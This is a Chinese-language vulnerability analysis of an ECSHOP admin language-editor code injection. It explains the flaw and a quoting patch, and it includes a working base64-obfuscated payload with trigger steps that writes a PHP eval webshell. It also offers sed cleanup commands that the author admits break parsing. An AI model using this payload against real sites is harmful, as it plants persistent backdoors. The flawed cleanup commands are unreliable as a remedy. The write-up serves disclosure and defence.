ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

对于很多CMS网站来说，它们都需要保存很多的网站META信息，最常用的最佳实践是以变量声明的形式保存在.php文件中，在需要的时候直接include进来，PHP File Loader会自动将引入文件中的变量注册到当前的代码空间中，供其他的代码直接引用。例如

1. phpmyadmin使用config/config.inc.php保存phpmyadmin的配置信息：phpmyadmin setup.php代码注入漏洞
2. ecshop使用/languages/zh_cn/user.php保存网站的语言配置项：ecshop user.php php curl 代码动态执行漏洞

这种将动态的变量保存在静态的文件中，然后利用PHP File Loader的动态引用机制实现本地变量注册的做法在为CMS框架开发带来方便的同时，也引入了安全风险，黑客可以通过"模版编辑"、"后台网站基础描述信息编辑"、"语言项编辑"等等编辑方式，对这类文件进行修改，从而将PHP代码注入到这些.php文件中，获得代码执行的机会

2. 漏洞触发条件

1. 访问网站后台
http://localhost/ecshop2.7.2/admin/

2. 左边导航栏
模板管理 -> 语言项管理 -> 选择: user.php(会员中心语言包) -> 搜索: is_paid

3. 对模板文件进行编辑
插入${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}

4. 访问被注入PHP代码的文件
    1) 直接访问保存有PHP恶意代码(脏数据)的文件
    http://localhost/ecshop2.7.2/languages/zh_cn/user.php
    2) 访问user.php文件，user.php会根据当前语言配置引入(include)对应的语言项文件
    http://localhost/ecshop2.7.2/user.php

5. 生成WEBSHELL
http://localhost/ecshop2.7.2/languages/zh_cn/fuck.php

访问Exploit URL

被注入文件中的Curl Syntax代码获得执行，WEBSHELL文件被写入了磁盘

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2010-024714

3. 漏洞影响范围

ecshop 2.7.2
最新版ecshop 2.7.3
更早版本是否存在未知
...

4. 漏洞代码分析

我们知道，这个漏洞属于一个代码注入漏洞 && 恶意代码持久化导致正常文件被污染的WEBSHELL永久后门的。所以我们分析这个漏洞要从漏洞源头和被污染的.PHP文件两方面入手

我们先来分析一下代码注入的源头：\admin\edit_languages.php

.....
/*------------------------------------------------------ */
//-- 编辑语言项
/*------------------------------------------------------ */
elseif ($_REQUEST['act'] == 'edit')
{
    /* 语言项的路径 */
    $lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';

    /* 替换前的语言项 */
    $src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : '';

    /* 修改过后的语言项 */
    $dst_items = array();
    $_POST['item_id'] = stripslashes_deep($_POST['item_id']);

    for ($i = 0; $i < count($_POST['item_id']); $i++)
    {
        /* 语言项内容如果为空，不修改 */
        if (trim($_POST['item_content'][$i]) == '')
        {
            unset($src_items[$i]);
        }
        else
        {
            $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
            /*
            这行代码是导致漏洞的关键
            将用户输入的内容用双引号("")包裹，并写入磁盘上的文件中
            这为黑客提供向磁盘文件注入"Curl Syntax Code"，并进行代码执行提供了机会
            */
            $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
        }
    }
    ....

这里存在的安全问题问题有以下几个

1. edit_languages.php属于系统的输入边界，是接收用户输入数据的地方

2. edit_languages.php没有对用户输入的数据进行有效过滤、转义，导致黑客将PHP代码注入到user.php文件中

3. 没有遵循"数据"、"代码"分离的原则，user.php本质上是用来保存数据信息的，但是却被以黑客可以随便访问的.php文件的形式保存在磁盘上。要做好数据、代码的逻辑分离，可以采用以下2种最佳安全实践
    1) 在保存数据的文件头部使用 ifundine then exit的防御代码
    2) 使用.txt文件扩展名保存这类保存数据的文件

edit_languages.php接收了用户的输入后，将修改后的信息保存在user.php中，我们继续来分析一下这个文件

/languages/zh_cn/user.php

$_LANG['is_paid'] = "${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}";

这里的关键在于PHP Curl Syntax语法，在双引号("")中的的代码("${${....")会被PHP解释器进行动态执行

关于PHP的这种动态代码执行的语法的相关知识，请参阅另外的文章

http://www.cnblogs.com/LittleHann/p/3522990.html
//搜索：0x10: Curly Syntax

5. 防御方法

这种复合型的注入后污染磁盘文件，进而留下永久型文件后门的漏洞，修复方案也必须采用符合的方案

0x1: 修复\admin\edit_languages.php

将保存到user.php中的字符串改为使用单引号('')包裹，在单引号模式下，PHP Curl Syntax("${${...")是无法执行的，这可以有效从源头上阻止新的WEBSHELL漏洞文件的产生

.....
/*------------------------------------------------------ */
//-- 编辑语言项
/*------------------------------------------------------ */
elseif ($_REQUEST['act'] == 'edit')
{
    /* 语言项的路径 */
    $lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';

    /* 替换前的语言项 */
    $src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : '';

    /* 修改过后的语言项 */
    $dst_items = array();
    $_POST['item_id'] = stripslashes_deep($_POST['item_id']);

    for ($i = 0; $i < count($_POST['item_id']); $i++)
    {
        /* 语言项内容如果为空，不修改 */
        if (trim($_POST['item_content'][$i]) == '')
        {
            unset($src_items[$i]);
        }
        else
        {
            $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
        /*
        这行是patch代码的关键，将原本的双引号("")改为了单引号('')，有效地组织了代码注入后的执行
        */
            $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
        }
    }
    .....

0x2: 修复/languages/zh_cn/user.php

被黑客进行代码注入攻击之后，这个usre.php已经成为了一个新的后门，需要对其中的恶意代码进行清理，即脏数据清洗

将语言模版文件中的双引号，全部换成单引号

1. Linux

sed -i "s/\"/'/g" calendar.php 
sed -i "s/\"/'/g" common.php 
sed -i "s/\"/'/g" demo.php 
sed -i "s/\"/'/g" shopping_flow.php  
sed -i "s/\"/'/g" user.php

这种方法还需要细化，如果直接简单地去将""替换为''，会导致文件解析出错

$_LANG['img_type_tips'] = '<font color='red'>小提示：</font>';

这行被我们替换为单引号之后，程序解析出错了

2. Windows

暂无

6. 攻防思考

从攻防的角度上来看，ecshop的这个漏洞属于"代码注入(code injection)"，但是和普通的sql injection的差别在于

1. 文件/模版编辑类 注入漏洞的的注入的目标对象是磁盘上的静态php文件，而不是数据库
2. 文件/模版编辑类 在进行代码注入后，往往不是立即生效，而是要通过之后的访问或者被其他文件引入，才能执行被注入文件中的curl syntax代码

对于这种漏洞的防御，除了采用和和sql injection类似的输入过滤、执行过滤的代码防御思想外，还需要解决一个"脏数据清理"的问题

文件型代码注入的结果是黑客将攻击代码永久固化在了文件中(存储在数据表字段中的代码注入也是类似的道理)，被污染的文件就被转换为了一个WEBSHELL后门，即成为一个新的漏洞点，要彻底解决这个问题，需要同时做到

1. 输入过滤，将WEBSHELL PHP CODE注入的源头堵住
2. 对已经被注入的，对保存脏数据的WEBSHELL后门文件进行清理